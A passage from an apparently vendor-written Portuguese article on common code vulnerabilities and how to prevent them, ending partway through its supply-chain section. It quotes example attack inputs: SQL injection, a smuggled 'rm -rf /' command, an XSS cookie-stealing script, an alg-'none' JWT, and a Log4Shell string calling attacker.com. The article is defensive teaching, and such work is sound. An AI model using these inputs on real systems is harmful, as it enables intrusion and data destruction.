Principais Vulnerabilidades de Segurança de Código
Introdução: No cenário de software atual, a segurança de código é uma preocupação decisiva. 2025 quebrou recordes de vulnerabilidades divulgadas – mais de 21.500 CVEs somente no primeiro semestre do ano. Atacantes não perdem tempo em transformar essas falhas em armas, muitas vezes em questão de horas após a divulgação. O ponto crucial é: muitas delas não são 0-days exóticos e novos, mas os mesmos erros antigos que os desenvolvedores cometem há décadas. É quase embaraçoso – cross-site scripting e SQL injection ainda são rampantes em CVEs recém-relatados, ressaltando que as práticas de codificação segura não estão acompanhando. Isso deve preocupar todas as equipes de desenvolvimento, porque os exploits de vulnerabilidades agora respondem por 20% das violações – quase superando as credenciais roubadas como o principal vetor de ataque inicial.
Figura: O número de vulnerabilidades de software está atingindo níveis recordes, com 133 novos CVEs relatados em média a cada dia em 2025. Mais de um terço delas são classificadas como Altas ou Críticas, tornando a aplicação de patches e a codificação segura mais cruciais do que nunca.
Por que isso importa? Porque um único descuido na codificação pode anular milhões de dólares em investimentos de segurança. Por exemplo, em 2024, uma violação do Tesouro dos EUA foi rastreada até nada mais do que uma chave de API vazada. E todos nós já vimos como uma injeção SQL trivial ou uma falha na verificação de autenticação pode levar a vazamentos de dados catastróficos. Código seguro importa agora mais do que nunca. Não é apenas um problema da equipe de segurança – começa conosco, como desenvolvedores, escrevendo código mais seguro desde o início e usando ferramentas para identificar problemas precocemente.
Neste artigo, detalharemos as principais vulnerabilidades de segurança em nível de código que afligem as aplicações modernas. Isso inclui bugs clássicos em seu próprio código (pense em Secrets hardcoded ou falhas de validação de entrada), bem como CVEs reais em bibliotecas e frameworks de código aberto nos quais você confia. Para cada vulnerabilidade, explicaremos como funciona, daremos um exemplo do mundo real, discutiremos seu impacto e forneceremos dicas acionáveis para preveni-la. Também destacaremos como ferramentas de segurança voltadas para o desenvolvedor, como o Aikido, podem ajudar a detectar ou até mesmo corrigir automaticamente esses problemas antes que cheguem à produção.
O Que São Vulnerabilidades de Segurança de Código?
Uma vulnerabilidade de segurança de código é qualquer fraqueza no código-fonte de uma aplicação que um atacante pode explorar para comprometer a confidencialidade, integridade ou disponibilidade. Isso abrange desde erros simples (por exemplo, usar eval em entrada não sanitizada) a falhas sutis em bibliotecas de terceiros (por exemplo, um parsing bug levando à execução remota de código). Em resumo, se facilita o trabalho de um atacante, é uma vulnerabilidade de código.
Essas fraquezas abrangem diversas linguagens e stacks de tecnologia – seja você escrevendo JavaScript/TypeScript, Python, Go, Java ou qualquer outra. Uma vulnerabilidade pode permitir que um atacante injete código malicioso, roube dados sensíveis, escale privilégios ou trave seu sistema. Muitas dessas falhas são catalogadas como CVEs (Common Vulnerabilities and Exposures) uma vez descobertas em softwares populares. Outras podem ser bugs de lógica únicos em seu próprio código. O ponto em comum é que elas surgem de práticas de codificação inseguras ou suposições negligenciadas.
Com isso em mente, vamos examinar algumas das vulnerabilidades em nível de código mais prevalentes e perigosas que afetam os desenvolvedores hoje. A lista abaixo mistura erros comuns de desenvolvedores com CVEs do mundo real de projetos de código aberto. Cada uma representa uma ameaça prática que pode levar a sérias violações se não for abordada.
As 10 Principais Vulnerabilidades de Segurança de Código (e Como Corrigi-las)
1. Secrets Hardcoded no Código
Deixar Secrets sensíveis incorporados no código é um erro crítico, mas comum. Hardcodificar chaves de API, credenciais, chaves de criptografia ou tokens em seu código-fonte significa que, se um adversário vir esse código (pense em um repositório público ou um artefato vazado), ele terá acesso instantâneo a esses Secrets. Mesmo em repositórios privados, as credenciais podem vazar acidentalmente – e uma vez vazadas, muitas vezes permanecem utilizáveis por anos. Na verdade, o relatório de 2025 da GitGuardian descobriu que 23,8 milhões de Secrets foram expostos no GitHub em 2024 (um aumento de 25% em relação ao ano anterior). Pior, 70% dos Secrets vazados em 2022 ainda eram válidos em 2025, dando aos atacantes uma longa janela para explorá-los.
Violações do mundo real ressaltam o impacto. Por exemplo, em 2024, atacantes violaram um sistema do Departamento do Tesouro dos EUA explorando uma única chave de API hardcoded para uma plataforma de autenticação. Com uma chave, eles contornaram camadas de controles de segurança como se fossem um usuário autorizado. Da mesma forma, muitas violações de Cloud começam com um desenvolvedor inadvertidamente commitando credenciais de Cloud ou senhas de banco de dados para um repositório. Uma vez que um atacante encontra esses dados, o jogo acaba – eles podem fazer login como você e se passar por seus serviços.
Impacto: Secrets expostos podem levar a acesso não autorizado imediato a bancos de dados, contas Cloud, gateways de pagamento ou APIs de terceiros. Um invasor com uma chave AWS vazada, por exemplo, poderia provisionar infraestrutura, exfiltrar dados ou gerar contas altíssimas. O custo médio de violações envolvendo credenciais comprometidas é de US$ 4,5 milhões, e elas levam mais tempo para serem detectadas e contidas porque o invasor essencialmente tem acesso válido.
Prevenção/Remediação: Trate Secrets como as granadas vivas que são – nunca os codifique diretamente em seu código ou Dockerfiles. Use variáveis de ambiente, gerenciamento de configuração ou cofres de Secrets dedicados para injetar Secrets em tempo de execução. Implemente a varredura automatizada de Secrets em seu pipeline de CI/CD para capturar quaisquer credenciais que possam vazar. (Existem soluções que fornecem um recurso de detecção de Secrets em tempo real para bloquear que Secrets sejam commitados.) Por exemplo, a plataforma da Aikido inclui varredura de Secrets que sinalizaria uma chave de API em um commit e o alertaria ou até mesmo impediria o push. Uma vez que um Secret é exposto, assuma que ele está comprometido – rotacione-o imediatamente e invalide o antigo. Ao praticar uma boa higiene e varredura de Secrets, você pode evitar entregar aos atacantes as chaves do seu reino.
2. Ataques de Injeção (Injeção de SQL e Comandos)
As vulnerabilidades de “Injeção” são um clássico atemporal – e ainda incrivelmente prevalentes. Em um ataque de injeção de código, a entrada não confiável é interpretada como código ou comandos, permitindo que o invasor altere o comportamento pretendido. As duas variantes mais notórias são a injeção de SQL e a injeção de comandos do sistema operacional.
- Injeção de SQL (SQLi): Ocorre quando a entrada do usuário é concatenada em uma consulta SQL sem validação ou parametrização adequadas. Invasores podem criar entradas como
' OR 1=1--para adulterar a lógica da consulta. Isso pode permitir que eles despejem bancos de dados inteiros ou modifiquem dados expandindo a cláusula WHERE da consulta ou terminando-a e adicionando um novo comando. Apesar de ser uma vulnerabilidade clássica dos anos 2000, o SQLi permanece difundido – foi o segundo padrão de vulnerabilidade mais comum em CVEs em 2025. Por exemplo, o infame “Bobby Tables” XKCD piada é engraçada até você perceber que empresas reais ainda são comprometidas por ela. Houve violações de alto perfil onde uma simples injeção SQL em um formulário de login levou ao roubo de milhões de registros de clientes. - Injeção de Comandos do Sistema Operacional: Neste caso, a aplicação recebe entrada do usuário e a insere em um comando do sistema ou chamada de execução de shell. Por exemplo, uma aplicação Python pode fazer
os.system("ping " + user_input). Um invasor poderia fornecer uma entrada como8.8.8.8 && rm -rf /para executar um segundo comando malicioso. Houve CVEs em frameworks web e utilitários que inadvertidamente permitiram que tal entrada gerasse shells.;ou&&em uma string de comando, eles podem executar comandos arbitrários do sistema com os privilégios da aplicação.
Exemplo: Um incidente notável no mundo real foi a vulnerabilidade Drupalgeddon2 (CVE-2018-7600) no CMS Drupal, que era essencialmente uma falha de injeção permitindo a execução remota de código via requisições manipuladas. Outro exemplo: em 2022, uma grande empresa teve seus dados internos apagados porque uma ferramenta de administração concatenou a entrada do usuário em um comando PowerShell – um atacante passou um comando para desativar serviços de segurança e excluir dados. Esses casos mostram que a injeção pode levar diretamente ao comprometimento total do sistema.
Impacto: A injeção de SQL pode expor ou corromper dados sensíveis (registros de usuários, informações financeiras) e frequentemente permite o pivoteamento mais profundo na rede via stored procedures do banco de dados. A injeção de comandos quase sempre resulta em Execução Remota de Código (RCE), permitindo que invasores executem qualquer código no servidor – potencialmente assumindo o controle total do host. Falhas de injeção são altamente críticas; elas podem comprometer uma aplicação e seu servidor subjacente.
Prevenção: O mantra é nunca confie na entrada do usuário. Use prepared statements (consultas parametrizadas) para acesso ao banco de dados – isso garante que os dados do usuário sejam tratados estritamente como dados, não como SQL executável. Por exemplo, em Python, use placeholders de parâmetros com cursor.execute("SELECT * FROM users WHERE id = %s", (user_id,)) em vez de formatação de string. Para linguagens como JavaScript, use bibliotecas ORM/QueryBuilder que parametrizam as consultas para você. Da mesma forma, evite construir comandos de shell a partir de partes da entrada do usuário. Se precisar invocar comandos do sistema, use chamadas de biblioteca seguras ou, no mínimo, faça uma whitelist de entradas aceitáveis. Valide e sanitize as entradas – por exemplo, se uma entrada deve ser um ID, garanta que seja numérica e esteja dentro do intervalo esperado. A validação de entrada não é infalível por si só, mas é uma camada importante.
Além disso, utilize ferramentas de teste de segurança. A análise estática de código pode frequentemente detectar padrões óbvios de injeção (como concatenação de strings em chamadas SQL). o scanner SAST da Aikido, por exemplo, sinalizaria o risco os.system(user_input) chamada ou consulta SQL não parametrizada como uma injeção potencial. No lado preventivo, Web Application Firewalls (WAFs) podem bloquear algumas tentativas de injeção, mas são uma rede de segurança – o objetivo é corrigir o código. Lembre-se, falhas de injeção persistem porque são fáceis de introduzir e às vezes difíceis de detectar. Revisão de código, treinamento de desenvolvedores e análises automatizadas são seus aliados aqui.
3. cross-site scripting (XSS)
cross-site scripting é outro favorito perene no conjunto de ferramentas do atacante. Em um ataque de XSS, uma aplicação web inclui inadvertidamente código de script malicioso fornecido por um atacante nas páginas enviadas a outros usuários. O navegador da vítima executa esse script, levando a sessões sequestradas, sites desfigurados ou malware entregue ao usuário. O XSS vem em tipos (armazenado, refletido, baseado em DOM), mas em sua essência é geralmente uma falha em sanitizar ou codificar a saída corretamente na UI.
Apesar do surgimento de frameworks frontend modernos, o XSS continua sendo o padrão de vulnerabilidade web mais frequente. No primeiro semestre de 2025, o cross-site scripting foi a fraqueza mais comum observada em novas CVEs. Isso ocorre em parte porque até mesmo pequenas falhas na sanitização podem introduzir XSS em plataformas de outra forma seguras. Por exemplo, uma nova vulnerabilidade do Angular divulgada em 2025 (CVE-2025-66412) revelou que certos atributos SVG e MathML não eram cobertos pelo sanitizador padrão do Angular, permitindo que URLs JavaScript maliciosas passassem despercebidas. Em aplicações que usam versões afetadas do Angular, um atacante poderia criar um payload que, quando renderizado, executa script arbitrário nos navegadores dos usuários – um XSS armazenado no que deveria ser um framework seguro!
Exemplo: Um exemplo clássico é uma seção de comentários onde os usuários podem postar texto. Se a aplicação simplesmente exibir novamente esse texto nas páginas sem codificação, um atacante pode postar um comentário como <script>stealCookies()</script>. Cada usuário que visualizasse esse comentário executaria o script do atacante sem saber, o que poderia, por exemplo, enviar seu token de sessão para o atacante. Houve incidentes reais em sites de alto perfil onde o XSS em perfis de usuário ou fóruns levou ao sequestro em massa de contas. Mesmo em 2023, pesquisadores encontraram XSS em vários plugins e aplicações web – por exemplo, um XSS refletido em um popular portal de suporte empresarial permitiu que um atacante executasse código enganando um usuário de helpdesk para clicar em um link malicioso.
Impacto: O impacto do XSS é tipicamente personificação e roubo de dados no lado do cliente. Atacantes podem roubar cookies de sessão, permitindo-lhes personificar usuários (incluindo administradores). Eles podem realizar ações como o usuário (como alterar as configurações da sua conta), exibir formulários de login falsos (phishing) ou até mesmo espalhar worms (um XSS que se auto-publica em outras páginas). Embora o XSS não comprometa diretamente o servidor, ele coloca seus usuários em sério risco e pode desfigurar sua aplicação. Em alguns casos, o XSS pode ser um passo para ataques futuros (por exemplo, pivotar para o navegador de um administrador para obter acesso ao backend).
Prevenção: A regra de ouro é sanitizar a entrada e codificar a saída. Para quaisquer dados que possam incluir caracteres especiais HTML, garanta que sejam devidamente escapados ou sanitizados antes de serem inseridos na página. Frameworks modernos como React, Angular e Vue possuem defesas XSS integradas (por exemplo, auto-escape ou DomPurify para HTML perigoso) – use-os conforme o planejado e evite contornar essas salvaguardas. Se você estiver construindo HTML manualmente, use bibliotecas de template que fazem auto-escape ou chamam explicitamente funções de codificação. Empregue uma política de segurança de conteúdo (CSP) para mitigar danos (a CSP pode restringir quais scripts podem ser executados). Atualize regularmente as bibliotecas frontend – como visto com as CVEs de XSS do Angular de 2025, os frameworks corrigem falhas de sanitização.
Do ponto de vista das ferramentas, analisadores estáticos podem encontrar alguns problemas de XSS rastreando fluxos de dados não sanitizados. A varredura de código do Aikido, por exemplo, pode alertá-lo se a entrada do usuário for diretamente para innerHTML ou um template sem escape. A varredura dinâmica (DAST) também pode detectar XSS tentando injetar scripts durante o teste. Combine isso com uma revisão de código minuciosa (imagine a mentalidade de um atacante ao revisar qualquer código que lida com HTML). A chave é a vigilância: o XSS muitas vezes se infiltra através daquele 'pequeno campo' que alguém esqueceu de escapar.
4. Cross-Site Request Forgery (CSRF)
A falsificação de solicitação entre sites é um pouco diferente dos outros problemas aqui – é mais uma vulnerabilidade de design do que um bug de código direto, mas é muito relevante para aplicações web. O CSRF permite que um atacante engane o navegador de uma vítima para realizar ações não autorizadas em uma aplicação web na qual a vítima está autenticada. Em essência, o atacante 'cavalga' a sessão da vítima enviando uma solicitação forjada do navegador da vítima para a aplicação alvo.
Como isso acontece? Digamos que um usuário esteja logado no site do seu banco. O recurso de transferência de dinheiro do banco é uma simples requisição POST para transferir dinheiro. Se o site do banco não estiver protegido contra CSRF, um atacante poderia enviar um e-mail a esse usuário com uma página HTML maliciosa contendo um formulário oculto ou script que automaticamente faz essa requisição POST (usando os cookies do usuário). O banco vê um cookie de sessão válido do usuário e processa a requisição – transferindo dinheiro para o atacante, tudo sem o conhecimento do usuário.
O CSRF é bem conhecido há anos, mas ainda aparece frequentemente (estava entre as 5 principais categorias de fraquezas em CVEs de 2025). Geralmente surge quando desenvolvedores constroem APIs ou ações de formulário sem incluir tokens CSRF ou outras medidas anti-falsificação. Mesmo frameworks experientes podem ter bugs de lógica: por exemplo, uma vulnerabilidade do Angular de 2025 foi descoberta onde a proteção XSRF do Angular tratou erroneamente algumas URLs de domínio cruzado como de mesma origem, fazendo com que ele anexasse o token do usuário a requisições controladas pelo atacante. Esse tipo de falha poderia habilitar o CSRF vazando ou usando indevidamente tokens.
Impacto: Um ataque CSRF bem-sucedido pode forçar os usuários a realizar qualquer ação que altere o estado e que sua conta tenha permissão para fazer: atualizar detalhes da conta, fazer compras, alterar sua senha, até mesmo escalar privilégios se tal funcionalidade existir. Essencialmente, o atacante se aproveita da sessão autenticada da vítima. Notavelmente, os ataques CSRF visam ações, não o roubo direto de dados (para isso serve o XSS), mas as ações podem ser igualmente prejudiciais (transações financeiras, modificações de dados, etc.). Muitos exploits CSRF de alto perfil permitiram que atacantes, por exemplo, alterassem as configurações de DNS em um roteador por dentro, ou postassem conteúdo indesejado em nome de um usuário nas redes sociais.
Prevenção: A defesa padrão é incluir um token anti-CSRF em cada transação sensível. Frameworks como Django, Rails, Spring, etc. possuem mecanismos de token CSRF integrados – use-os. O token é um valor aleatório que o site de um atacante não consegue obter, e o servidor só honrará requisições que possuam o token correto (geralmente enviado como um campo de formulário oculto ou cabeçalho). Em aplicações modernas, se você estiver construindo um backend de API puro, pode usar estratégias como exigir um cabeçalho personalizado (por exemplo, X-Requested-With) ou cookies same-site definidos como Strict/Lax para mitigar o CSRF. Garanta que seus cookies estejam marcados como SameSite=Lax ou Strict para que os navegadores não os incluam em requisições cross-origin por padrão (isso se tornou uma defesa moderna essencial). Além disso, seja cauteloso com as configurações de CORS – não permita que o domínio de um atacante envie requisições privilegiadas via CORS a menos que seja absolutamente intencional.
A maioria dos frameworks web lida com CSRF para você se você o habilitar corretamente. Certifique-se de que não esteja acidentalmente desabilitado. Em testes, tente alguns cenários de CSRF: uma ação pode ser acionada apenas visitando um link externo ou carregando uma imagem? Se sim, você tem um problema. Felizmente, o CSRF é evitável com as práticas corretas. O teste de segurança do Aikido também pode simular tentativas de CSRF como parte do pentest. Além disso, considere ações críticas multifatoriais (assim, mesmo que o CSRF acione a ação, um segundo fator é necessário para completá-la). No geral, nunca presuma que uma requisição veio de uma fonte genuína – valide-a.
5. Autenticação Quebrada e Controle de Acesso
Vulnerabilidades de autenticação quebrada e controle de acesso são sobre o que acontece quando sua aplicação não impõe corretamente quem pode fazer o quê. Esta categoria é consistentemente o risco mais crítico no Top 10 OWASP. Essencialmente, são falhas que permitem aos atacantes contornar a autenticação ou elevar seus privilégios explorando lacunas em sua lógica de autorização.
Um subconjunto é autenticação quebrada – problemas como permitir senhas fracas, não impor bloqueios em tentativas de força bruta ou gerenciamento de sessão falho (por exemplo, IDs de sessão previsíveis ou que não expiram). Um exemplo histórico famoso foi um problema onde algumas aplicações aceitavam um JWT com o algoritmo 'none' como válido – o que significa que um atacante poderia forjar um token com { "alg": "none", "user": "admin" } e o sistema o aceitaria como um login de administrador (isso resultou de bibliotecas que não verificavam corretamente os tokens, um problema descoberto por volta de 2015). Mais recentemente, configurações incorretas como deixar credenciais de administrador padrão no local ou usar senhas codificadas (remete a Secrets) são falhas de autenticação comuns.
O outro subconjunto (e, sem dúvida, mais comum) é controle de acesso quebrado. Isso se refere à verificação incorreta das permissões do usuário. Por exemplo, uma aplicação pode permitir uma URL como /user/profile?userId=1234. Se eu puder mudar o userId para o ID de outra pessoa e visualizar ou modificar seus dados, isso é um IDOR (Insecure Direct Object Reference) – uma falha clássica de controle de acesso. Isso foi destacado como CWE-862 “Missing Authorization” em muitos CVEs. É incrivelmente comum: muitas violações de alto perfil começam com alguém encontrando um endpoint de API que não verifica o privilégio do solicitante. Um exemplo real: um sistema de RH corporativo tinha uma função de “exportar todos os registros de funcionários” destinada a gerentes de RH. Devido a uma verificação ausente, qualquer funcionário logado poderia invocá-la se soubesse a URL – resultando em uma violação de dados de milhares de registros.
Impacto: Autenticação quebrada pode permitir que atacantes finjam ser outros usuários (incluindo administradores) ou usem os privilégios de outro usuário. O controle de acesso quebrado pode expor dados sensíveis (se você puder acessar os registros de outra pessoa) ou até mesmo permitir mudanças de estado maliciosas (por exemplo, usuários normais realizando ações exclusivas de administradores). Os piores cenários incluem tomadas de conta completas, vazamentos de dados ou operações não autorizadas em todo o sistema. Por exemplo, uma verificação de administrador ausente poderia permitir que um atacante criasse novos usuários administradores ou baixasse todos os dados de clientes. É fácil ver por que isso é classificado como o risco nº 1 – ele mina o princípio fundamental de segurança de garantir que cada usuário só possa fazer o que lhe é permitido.
Prevenção: Isso se resume ao rigor na implementação de sua autenticação e autorização:
- Autenticação: Use frameworks comprovados para gerenciamento de login e sessão – não crie sua própria autenticação se puder evitar. Imponha políticas de senha fortes e use autenticação multifator para contas sensíveis. Garanta que você faça o hash das senhas corretamente (use hashes adaptativos fortes como bcrypt ou Argon2, não MD5 simples). Implemente bloqueio de conta ou Rate limiting em tentativas de login para frustrar ataques de força bruta. Para tokens de sessão, torne-os longos, aleatórios e, se usar JWTs, sempre verifique assinaturas e claims (e rejeite o algoritmo “none” ou outras configurações inseguras). Considere usar bibliotecas para lidar com a verificação de JWT e o armazenamento de sessão de forma segura.
- Controle de Acesso: Siga o princípio do menor privilégio no design de sua aplicação. No lado do servidor, cada requisição a um recurso protegido deve realizar uma verificação de autorização: por exemplo, se o usuário 123 requisitar
/accounts/456, o código deve verificar se o 123 tem permissão para acessar o recurso 456. Use frameworks de controle de acesso baseado em função ou controle de acesso baseado em atributos sempre que possível. Muitas vezes é útil centralizar a lógica de autorização, para que ela não esteja espalhada em um milhão de condicionais fáceis de esquecer. Ao usar frameworks como Django, Rails, Spring Security, etc., aproveite suas anotações de controle de acesso ou middleware integrados. Em APIs REST, evite depender apenas da imposição no lado do cliente (como ocultar botões de administrador na UI) – sempre imponha também no backend.
Durante o desenvolvimento e os testes, pense como um atacante: tente manipulação de URL, tente acessar IDs de outros usuários ou realizar ações fora do seu papel. Ferramentas como os testes de segurança do Aikido (ou pentesting manual) podem ajudar a identificar esses problemas, escaneando por padrões comuns de IDOR ou autenticação ausente em endpoints. Algumas ferramentas de análise estática também podem detectar bypasses hardcoded ou condições sempre verdadeiras na lógica de autenticação.
No código, nunca presuma “segurança por obscuridade” (ou seja, que ninguém encontrará aquele endpoint de administrador oculto). Em vez disso, garanta que, mesmo que o encontrem, não possam usá-lo sem as credenciais adequadas. Registro e alertas também são fundamentais – se alguém estiver acessando repetidamente recursos que não deveria, você vai querer saber. Para resumir: autentique tudo, autorize cada ação.
6. Desserialização Insegura
Vulnerabilidades de desserialização ocorrem quando uma aplicação aceita dados serializados (pense em blobs binários ou JSON/XML que representam objetos) de uma fonte não confiável e os desserializa sem as salvaguardas adequadas. Se os dados forem criados maliciosamente, isso pode resultar na instanciação de objetos inesperados pelo programa ou na execução de código controlado pelo atacante. Em linguagens como Java, Python e .NET, a desserialização insegura levou a inúmeros CVEs e exploits críticos.
Um exemplo recente de alto perfil é React2Shell (CVE-2025-55182), um RCE crítico em React Server Components descoberto no final de 2025. Ele surgiu de desserialização insegura no protocolo “Flight” do RSC – essencialmente, um payload malformado enviado para uma aplicação Next.js/React poderia manipular a lógica de desserialização do servidor e alcançar a execução remota de código. O que torna isso particularmente assustador é que as configurações padrão eram vulneráveis (uma aplicação Next.js padrão poderia ser explorada sem alterações de código pelo desenvolvedor). Foi um ataque não autenticado que exigia apenas uma requisição HTTP criada para o servidor, e o código de exploit tornou-se publicamente disponível – levando a exploits ativos em campo em questão de dias. Isso mostra como falhas de desserialização podem espreitar mesmo em frameworks modernos.
Em Java, um caso infame foi a exploração do Apache Commons Collections em 2015: muitas aplicações corporativas estavam usando bibliotecas que automaticamente desserializavam objetos Java a partir da entrada do usuário (como em cookies HTTP ou dados SOAP). Atacantes descobriram que poderiam incluir um objeto serializado de uma classe maliciosa que, quando construída, executaria comandos. Isso levou a RCEs em aplicações como Jenkins, WebLogic, etc. (Múltiplos CVEs como CVE-2017-9805 no Struts e outros no WebLogic abordaram esses problemas). Python também não está imune – usar pickle.loads em entrada não confiável é basicamente dar poderes de execução de código à entrada. Mesmo formatos de dados aparentemente seguros podem ser arriscados: parsers YAML em Python e Ruby tinham vulnerabilidades onde poderiam ser coagidos a executar comandos ao carregar YAML especialmente criado.
Impacto: A desserialização insegura é frequentemente um caminho para execução remota de código. No mínimo, pode permitir adulteração de dados ou injeção de objetos não intencionais. Um atacante pode potencialmente instanciar classes de sistema ou objetos com efeitos colaterais maliciosos. Por exemplo, em Java, eles podem usar classes gadget (objetos cujo readObject método tem comportamento indesejável) para abrir um shell reverso. Em Python, um pickle malicioso poderia importar o os módulo e executar comandos do sistema. O impacto é tipicamente o comprometimento total da aplicação, e possivelmente do host, porque o código é executado dentro do processo da aplicação.
Prevenção: Primeiro, evite serializar e desserializar formatos de dados sensíveis ou arbitrários de fontes não confiáveis sempre que possível. Se precisar trocar dados com o cliente, use formatos mais simples como JSON e faça o parsing/validação do conteúdo manualmente, em vez de usar a serialização de objetos da linguagem nativa. Para linguagens que exigem desserialização (por exemplo, ao receber objetos complexos), use bibliotecas que suportem um modo seguro ou uma whitelist de classes. Por exemplo, o Java’s ObjectInputStream pode ser restrito a certas classes por meio de um filtro de validação (disponível em versões recentes do JDK). Da mesma forma, para Python, prefira json ou se precisar usar YAML, utilize safe_load em vez de load (para evitar a potencial instanciação de objetos).
Muitos frameworks abordaram vetores de desserialização conhecidos: por exemplo, desabilitando padrões perigosos. Certifique-se de manter essas bibliotecas atualizadas. A vulnerabilidade do React mencionada acima foi corrigida por patches para Next.js e React – a atualização para essas versões é crítica. A análise de dependências irá alertá-lo sobre tais CVEs para que você possa aplicar os patches prontamente.
No lado do código, trate a desserialização como o carregamento de um arquivo de uma fonte não confiável – nunca confie em seu conteúdo. Implemente verificações de integridade ou assinaturas para dados serializados, se possível (para que apenas o servidor possa produzir objetos serializados válidos). Se estiver usando algo como JWTs ou outros tokens, prefira formatos padrão com validação embutida. O SAST do Aikido pode ajudar a sinalizar o uso de funções inseguras (por exemplo, ele pode avisar se encontrar pickle.loads em dados que não são obviamente confiáveis). E se você precisar absolutamente aceitar objetos serializados, considere executar essa lógica em um ambiente isolado (sandbox) com privilégios limitados.
Em resumo: seja extremamente cauteloso com a desserialização. A conveniência de transformar bytes em objetos de forma 'mágica' não compensa o risco de segurança, a menos que seja muito rigidamente controlada.
7. Usando Dependências Vulneráveis e Desatualizadas
Aplicações modernas dependem fortemente de bibliotecas e frameworks de código aberto. A desvantagem é que, se você não os mantiver atualizados, provavelmente estará abrigando vulnerabilidades conhecidas em sua base de código. O uso de componentes vulneráveis ou desatualizados é tão comum que a OWASP o incluiu na categoria mais ampla de “Cadeia de Suprimentos de Software” em 2025. Uma única biblioteca desatualizada pode tornar sua aplicação explorável, mesmo que seu próprio código seja impecável.
O exemplo clássico é Log4Shell (CVE-2021-44228) no Log4j 2. Esta foi uma vulnerabilidade crítica de RCE em uma biblioteca de logging Java extremamente popular, divulgada no final de 2021. Ela permitia que atacantes simplesmente enviassem uma string especialmente elaborada (${jndi:ldap://attacker.com/a}) em qualquer mensagem de log; se uma versão vulnerável do Log4j registrasse essa string, ela realizaria uma pesquisa JNDI no servidor do atacante e carregaria código malicioso. O resultado? Um atacante poderia executar código arbitrário no servidor, acionado por um evento de log. O Log4Shell estava em todo lugar – milhões de aplicações foram afetadas porque o Log4j estava embutido em inúmeros produtos Java. Empresas passaram semanas atualizando freneticamente o Log4j para a versão 2.17+ para corrigi-lo. Este único bug de dependência foi considerado uma das vulnerabilidades de internet mais sérias em anos.
E há muitos outros exemplos: o bug Heartbleed no OpenSSL (2014) deixou as comunicações expostas, as falhas de desserialização do Jackson-databind (vários CVEs em 2017-2019) deram aos atacantes RCE via processamento JSON, uma vulnerabilidade na biblioteca Python urllib3 (CVE-2020-26137) permitiu o bypass de certificado HTTPS sob certas condições, etc. No universo JavaScript, quem pode esquecer os problemas de Prototype Pollution em Lodash e jQuery (por exemplo, CVE-2019-10744) – atacantes poderiam manipular o protótipo de um objeto via entrada maliciosa, potencialmente causando estragos na aplicação. Se você estiver usando uma versão desatualizada de um pacote popular, é provável que as vulnerabilidades sejam publicamente conhecidas. Os atacantes certamente as conhecem e tentarão explorar aplicações que não foram corrigidas.
Impacto: O impacto varia conforme a vulnerabilidade da biblioteca, mas pode ser tão grave quanto execução remota de código, vazamento de dados ou comprometimento completo. Usando o exemplo do Log4Shell – se você tivesse um Log4j antigo, um atacante poderia executar código remotamente em seus servidores apenas enviando a string correta (isso é o pior que pode acontecer). Um framework web desatualizado pode permitir XSS ou SQLi em seu site, mesmo que seu próprio código esteja correto. Uma biblioteca de criptografia vulnerável poderia quebrar a criptografia na qual você confia. Essencialmente, sua segurança é tão forte quanto o elo mais fraco em suas dependências. Atacantes frequentemente escaneiam por versões específicas de software via cabeçalhos ou caminhos de arquivo conhecidos para identificar alvos exploráveis.
Prevenção: Mantenha-se atualizado. Isso é mais fácil dizer do que fazer (em grandes projetos com muitas dependências, atualizações constantes podem ser uma tarefa árdua), mas é inegociável para a segurança. Use ferramentas de gerenciamento de dependências que possam mostrar as atualizações disponíveis e reserve um tempo regular para aplicá-las. Aproveite as ferramentas de análise de composição de software (SCA) que o alertarão se seu projeto estiver utilizando uma biblioteca com um CVE conhecido. Por exemplo, se houver uma vulnerabilidade crítica em lodash 4.17.19 e você estiver usando isso, uma ferramenta SCA sinalizaria e sugeriria a atualização para 4.17.21. Muitos registros de pacotes também publicam avisos de segurança – use as ferramentas de auditoria apropriadas para o seu ecossistema como parte do seu processo de CI.
Além de apenas alertas, algumas ferramentas modernas podem até mesmo AutoFix esses problemas – atualizando-o automaticamente para versões seguras. Algumas plataformas podem detectar pacotes vulneráveis e propor a atualização de versão mínima que corrige a CVE (e até mesmo abrir um pull request para você). Sempre teste após as atualizações, mas não deixe que o medo de quebras o mantenha em uma versão antiga e vulnerável – o risco de uma violação geralmente supera o risco de uma atualização menor na maioria dos casos.
Além disso, minimize as dependências sempre que possível (menos bibliotecas significam menos vulnerabilidades potenciais) e prefira bibliotecas com manutenção ativa. Se um projeto parecer abandonado e tiver problemas conhecidos, considere alternativas. Fique atento aos feeds de segurança para vulnerabilidades críticas na tecnologia que você usa. Essencialmente, trate o gerenciamento de dependências como parte da sua postura de segurança, e não apenas como uma tarefa de DevOps. O objetivo é fechar as brechas conhecidas antes que os invasores as explorem.
8. Dependências Maliciosas ou Comprometidas (ataques à Supply chain)
Relacionados ao uso de componentes desatualizados, mas ainda mais insidiosos, são os ataques à supply chain de software – quando invasores envenenam o poço injetando código malicioso nos pacotes de terceiros que você usa. Em vez de esperar por uma vulnerabilidade, o invasor cria uma, adulterando sorrateiramente uma biblioteca (ou publicando uma falsa) que os desenvolvedores então incorporam em seus projetos. Essa forma de ataque aumentou nos últimos anos, especialmente em ecossistemas como npm e PyPI.
Um caso dramático ocorreu em setembro de 2025, quando um dos maiores comprometimentos de npm da história ocorreu. Invasores realizaram phishing contra um mantenedor de pacotes populares como debug e chalk (que juntos tinham mais de 2 bilhões de downloads semanais!) e ganharam controle de sua conta npm. Eles então publicaram atualizações infectadas para 18 pacotes, adicionando código malicioso que visava carteiras de criptomoedas em páginas web. Desenvolvedores que inocentemente atualizaram para essas novas versões essencialmente incorporaram malware. O código malicioso se conectou a APIs web para roubar criptomoedas trocando endereços de carteira durante as transações. Este incidente foi massivo – ele colocou potencialmente milhões de aplicações em risco até que os pacotes fossem removidos e corrigidos. É um forte lembrete de que mesmo pacotes amplamente confiáveis podem de repente se transformar em trojans se seus mantenedores forem comprometidos.
Outros exemplos: o pacote npm event-stream foi famosamente comprometido em 2018 para roubar chaves de carteiras Bitcoin de um aplicativo específico. Em 2021, o PyPI teve uma onda de ataques de typosquatting onde invasores fizeram upload de pacotes com nomes semelhantes a populares (por exemplo, urlib3 em vez de urllib3) contendo backdoors. Qualquer um que digitou o nome errado instalou o pacote malicioso. Até mesmo ferramentas de infraestrutura foram atingidas – imagens do Docker Hub, extensões do VSCode, e por aí vai.
